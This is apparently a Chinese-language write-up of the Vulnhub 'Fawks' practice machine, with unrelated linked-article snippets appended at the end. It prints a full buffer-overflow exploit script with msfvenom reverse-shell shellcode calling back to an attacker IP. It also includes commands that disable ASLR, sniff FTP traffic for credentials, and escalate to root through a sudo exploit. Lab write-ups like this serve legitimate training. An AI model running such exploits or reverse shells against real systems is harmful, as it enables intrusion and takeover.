信息收集

目标开放了21的ftp有匿名登录,除此之外还有常规的80,和连个ssh的端口。

80端口的是一张图片,就是哈利波特的海报图。

anonymous空密码登上去有一个文件下载下来是二进制的文件

上kali里面运行看看。

可以看到这个进程,接着看他开启什么服务没有,看到他在9898开放了,输入魔法指令可以输出相应的文字,这种二进制可执行程序无法查看源码,所以只能对其进行动态调试。这里能够提交数据,可能存在缓冲区溢出漏洞。

ps -aux | grep server
ss -pantu | grep server

但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。所以要关闭。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

然后终端打开edb(下载 : apt-get install edb-debugger)进入界面后按shift + F3 ,输入前面运行的那个程序的pid,接着左上角run一下,回到9898那里输入500个字符来测试。

python -c "print('A'*500)"

在edb这里调试器报错了,提示的0x414141意思就是 A。

可以看到EIP寄存器都被指令414141也就是A 覆盖,ESP同样被覆盖,EIP种存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令,我们修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。从而可以反弹shell。

确定溢出位置

使用msf的生成500字符,重启edb以及服务输入上述500字符,报错内容如下。

msf-pattern_create -l 500

使用msf-pattern_offset来找偏移量。

msf-pattern_offset -l 500 -q 64413764

验证EIP和ESP位置

生成一串验证字符串,进行调试,发现EIP寄存器是BBBB,ESP中是HiHiHi,所以去构造一个脚本来反弹shell,ESP寄存器中就是我们的反弹shell的十六进制代码。

python -c "print('A'*112+'BBBB'+'Hi')"

可以构造脚本反弹shell了。

寻找可执行权限的。

找到jmp esp的位置。

在机器指令中,需要反向写。

08049d55
\x55\x9d\x04\x08

使用msfvenom生成python的十六进制payload,文件内容写的是32位,-b 去掉坏字符 "\x00" 不然程序会在执行到\x00时停止执行,其中\x90是 空指令 目的是使程序执行更加稳定。一般是4的倍数个

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.11 LPORT=9999 -b "\x00" -f python

最终的payload:

#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xbd\xdf\x3f\x56\xe9\xda\xdf\xd9\x74\x24\xf4\x58\x31"
buf += b"\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\xb7\x31\xb4"
buf += b"\x1c\x76\x95\xcf\x3c\x2b\x6a\x63\xa9\xc9\xe5\x62\x9d"
buf += b"\xab\x38\xe4\x4d\x6a\x73\xda\xbc\x0c\x3a\x5c\xc6\x64"
buf += b"\x7d\x36\x15\x7f\x15\x45\x66\x58\xea\xc0\x87\x16\x92"
buf += b"\x82\x16\x05\xe8\x20\x10\x48\xc3\xa7\x70\xe2\xb2\x88"
buf += b"\x07\x9a\x22\xf8\xc8\x38\xda\x8f\xf4\xee\x4f\x19\x1b"
buf += b"\xbe\x7b\xd4\x5c" payload='A'*112+'\x55\x9d\04\x08'+'\x90'*40+buf
try:
s=socket.socket()
s.connect(('192.168.45.10',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()

拿下shell, 试了下用/bin/sh -i 升级shell.在当前文件夹下面就有个密码文件。

22端口登录不上,试了之前扫到的2222可以,登陆之后查看组发现在容器里面。

cat /proc/1/cgroup

翻找了一下找到一个flag和一个提示。

按照他的提示就是看21端口的流量,在这里得到了账密neville bL!Bsg3k

tcpdump -i eth0 port 21

登上ftp又得到一个flag。

试了一下ssh也能登录而且是宿主机。

拉下来之后修改一下里面sudo的位置。

将exp传到靶机上面,执行之后就可以拿到root权限,最后一个flag一般都在根目录底下能找到。

scp root@192.168.45.11:/root/exp2.py /home/neville/exp.py

vulnhub - Fawks - writeup的更多相关文章

  1. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. Vulnhub靶场DC-1 WP

    前言 之前提到过最近在做vlunhub的靶场复现工作,今天开始更新writeup吧.(对着walkthrough一顿乱抄嘻嘻嘻) 关于DC-1(官网翻译来的) 描述 DC-1是一个专门构建的易受攻击的 ...

  4. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  5. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  6. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  7. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  8. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  9. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  10. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

随机推荐

  1. 各快 100 倍?4G、5G、6G 相差这么多吗

    二狗子今天晚上有点 emo,为什么呢? 原来是二狗子心心念很久的一个手游上线了,二狗子兴冲冲地下载了 40 多分钟,终于下载完了游戏.结果打开游戏一看,发现游戏内部的更新写着预计 30 分钟完成更新. ...

  2. WebKit Inside: CSS 样式表解码字符集

    CSS 样式表引入有3种方式: 外部样式表.内部样式表.行内样式,不同的引入方式,解码样式表的字符集原理不一样. 外部样式表 外部样式表由 link 标签引入,当 WebKit 解析到 link 标签 ...

  3. MySQL5.7版本单节点大数据量迁移到PXC8.0版本集群全记录-2

    本文主要记录57版本升级80版本的过程,供参考. ■ 57版本升级80版本注意事项 默认字符集由latin1变为utf8mb4 MyISAM系统表全部换成InnoDB表 sql_mode参数默认值变化 ...

  4. Merge-Lrc 合并歌词的小工具

    Merge-Lrc 背景 音乐区有群友希望各种乱七八糟的歌词(lrc 格式居多,里面甚至还有翻译)可以整理成单一的文件,或者一个仅翻译的歌词可以和原文的歌词合并.于是就开发了这款工具.地址:https ...

  5. 记一次 openSUSE Tumbleweed 下安装 k8s

    出现的问题 因为没有K8s基础的而踩了不少坑. kubeadm kubelet 最好指定版本安装,因为kubelet的版本需要小于等于kubeadm的版本,否则就会报错. 运行 kubeadm ini ...

  6. Atcoder Regular Contest 165

    B. Sliding Window Sort 2 被题目名里的滑动窗口误导了,于是卡 B 40min /fn Description 给定长度为 \(n\) 的排列 \(P\) 和一个整数 \(K\) ...

  7. 2022-10-22 CSP赛前隔离时的模拟赛 2:3

    T1 简单红题,不懈于写. 锐评:镜子反射出来的竟然没有镜像一下. T2 坑人东西调了 2h. 类似于 round1 的 T4. 线性 \(\Theta(n)\) 过. T3 T4 其实简单,负边权要 ...

  8. Util应用框架基础(四) - 验证

    本节介绍Util应用框架如何进行验证. 概述 验证是业务健壮性的基础. .Net 提供了一套称为 DataAnnotations 数据注解的方法,可以对属性进行一些基本验证,比如必填项验证,长度验证等 ...

  9. SNN_LIF模型

    LIF模型 Leaky integrity-Fire(LIF)模型 输入信号直接影响神经元的状态,即神经元膜电位,只有当膜电位上升到阈值的时候,才会产生输出信号. 膜电位:细胞膜两侧的电位差.只有当膜 ...

  10. EdisonTalk.MongoProxy组件发布v0.0.6版本

    大家好,我是Edison. 组件发布的背景 之前工作中需要用到MongoDB的事务操作,因此参考了一些资料封装了一个小的组件,提供基础的CRUD Repository基类 和 UnitOfWork工作 ...